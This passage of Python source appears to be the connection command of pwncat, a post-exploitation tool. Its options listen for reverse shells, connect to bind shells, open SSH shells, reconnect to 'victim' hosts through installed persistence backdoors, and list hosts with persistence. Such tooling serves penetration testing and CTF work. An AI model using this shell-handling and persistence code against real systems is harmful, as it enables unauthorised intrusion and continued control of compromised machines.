        Parameter(
            Complete.NONE,
            action=StoreConstOnce,
            dest="action",
            const="connect",
            nargs=0,
            help="Connect to a remote bind shell",
        ),
        "--ssh,-s":
        Parameter(
            Complete.NONE,
            action=StoreConstOnce,
            dest="action",
            const="ssh",
            nargs=0,
            help="Connect to a remote ssh server",
        ),
        "--reconnect,-r":
        Parameter(
            Complete.NONE,
            action=StoreConstOnce,
            dest="action",
            const="reconnect",
            nargs=0,
            help="Reconnect to the given host via a persistence method",
        ),
        "--list":
        Parameter(
            Complete.NONE,
            action=StoreConstOnce,
            dest="action",
            const="list",
            nargs=0,
            help="List remote hosts with persistence methods installed",
        ),
        "--host,-H":
        Parameter(
            Complete.NONE,
            help=
            "Address to listen on or remote host to connect to. For reconnections, this can be a host hash",
        ),
        "--port,-p":
        Parameter(
            Complete.NONE,
            type=int,
            help="The port to listen on or connect to",
            action=StoreForAction(["connect", "listen", "ssh"]),
        ),
        "--method,-m":
        Parameter(
            Complete.NONE,
            help="The method to user for reconnection",
            action=StoreForAction(["reconnect"]),
        ),
        "--user,-u":
        Parameter(
            Complete.NONE,
            help=
            "The user to reconnect as; if this is a system method, this parameter is ignored.",
            action=StoreForAction(["reconnect", "ssh"]),
        ),
        "--password,-P":
        Parameter(
            Complete.NONE,
            help="The password for the specified user for SSH connections",
            action=StoreForAction(["ssh"]),
        ),
        "--identity,-i":
        Parameter(
            Complete.NONE,
            help="The private key for authentication for SSH connections",
            action=StoreForAction(["ssh"]),
        ),
    }
    DEFAULTS = {"action": "none"}
    LOCAL = True

    def run(self, args):

        if pwncat.victim.client is not None:
            console.log("connection [red]already active[/red]")
            return

        if args.config:
            try:
                # Load the configuration
                with open(args.config, "r") as filp:
                    pwncat.victim.command_parser.eval(filp.read(), args.config)
            except OSError as exc:
                console.log(f"[red]error[/red]: {exc}")
                return

        if args.action == "none":
            # No action was provided, and no connection was made in the config
            if pwncat.victim.client is None:
                self.parser.print_help()
            return

        if args.action == "listen":
            if not args.host:
                args.host = "0.0.0.0"

            with Progress(
                    f"bound to [blue]{args.host}[/blue]:[cyan]{args.port}[/cyan]",
                    BarColumn(bar_width=None),
            ) as progress:
                task_id = progress.add_task("listening", total=1, start=False)
                # Create the socket server
                server = socket.create_server((args.host, args.port),
                                              reuse_port=True)

                try:
                    # Wait for a connection
                    (client, address) = server.accept()
                except KeyboardInterrupt:
                    progress.update(task_id, visible=False)
                    progress.log("[red]aborting[/red] listener")
                    return

                progress.update(task_id, visible=False)
                progress.log(
                    f"[green]received[/green] connection from [blue]{address[0]}[/blue]:[cyan]{address[1]}[/cyan]"
                )
                pwncat.victim.connect(client)
        elif args.action == "connect":
            if not args.host:
                console.log("[red]error[/red]: no host address provided")
                return

            with Progress(
                    f"connecting to [blue]{args.host}[/blue]:[cyan]{args.port}[/cyan]",
                    BarColumn(bar_width=None),
            ) as progress:
                task_id = progress.add_task("connecting", total=1, start=False)
                # Connect to the remote host
                client = socket.create_connection((args.host, args.port))

                progress.update(task_id, visible=False)
                progress.log(
                    f"connection to "
                    f"[blue]{args.host}[/blue]:[cyan]{args.port}[/cyan] [green]established[/green]"
                )

                pwncat.victim.connect(client)
        elif args.action == "ssh":

            if not args.port:
                args.port = 22

            if not args.user:
                self.parser.error("you must specify a user")

            if not (args.password or args.identity):
                self.parser.error(
                    "either a password or identity file is required")

            try:
                # Connect to the remote host's ssh server
                sock = socket.create_connection((args.host, args.port))
            except Exception as exc:
                console.log(f"[red]error[/red]: {str(exc)}")
                return

            # Create a paramiko SSH transport layer around the socket
            t = paramiko.Transport(sock)
            try:
                t.start_client()
            except paramiko.SSHException:
                sock.close()
                console.log("[red]error[/red]: ssh negotiation failed")
                return

            if args.identity:
                try:
                    # Load the private key for the user
                    key = paramiko.RSAKey.from_private_key_file(args.identity)
                except:
                    password = prompt("RSA Private Key Passphrase: ",
                                      is_password=True)
                    key = paramiko.RSAKey.from_private_key_file(
                        args.identity, password)

                # Attempt authentication
                try:
                    t.auth_publickey(args.user, key)
                except paramiko.ssh_exception.AuthenticationException as exc:
                    console.log(
                        f"[red]error[/red]: authentication failed: {exc}")
            else:
                try:
                    t.auth_password(args.user, args.password)
                except paramiko.ssh_exception.AuthenticationException as exc:
                    console.log(
                        f"[red]error[/red]: authentication failed: {exc}")

            if not t.is_authenticated():
                t.close()
                sock.close()
                return

            # Open an interactive session
            chan = t.open_session()
            chan.get_pty()
            chan.invoke_shell()

            # Initialize the session!
            pwncat.victim.connect(chan)
        elif args.action == "reconnect":
            if not args.host:
                self.parser.error(
                    "host address or hash is required for reconnection")

            try:
                addr = ipaddress.ip_address(args.host)
                host = (pwncat.victim.session.query(
                    pwncat.db.Host).filter_by(ip=str(addr)).first())
                if host is None:
                    console.log(
                        f"[red]error[/red]: {args.host}: not found in database"
                    )
                    return
                host_hash = host.hash
            except ValueError:
                host_hash = args.host

            # Reconnect to the given host
            try:
                pwncat.victim.reconnect(host_hash, args.method, args.user)
            except PersistenceError as exc:
                console.log(f"[red]error[/red]: {args.host}: {exc}")
                return
        elif args.action == "list":
            if pwncat.victim.session is not None:
                for host in pwncat.victim.session.query(pwncat.db.Host):
                    if len(host.persistence) == 0:
                        continue
                    console.print(
                        f"[magenta]{host.ip}[/magenta] - [red]{host.distro}[/red] - [yellow]{host.hash}[/yellow]"
                    )
                    for p in host.persistence:
                        console.print(
                            f"  - [blue]{p.method}[/blue] as [green]{p.user if p.user else 'system'}[/green]"
                        )
        else:
            console.log(f"[red]error[/red]: {args.action}: invalid action")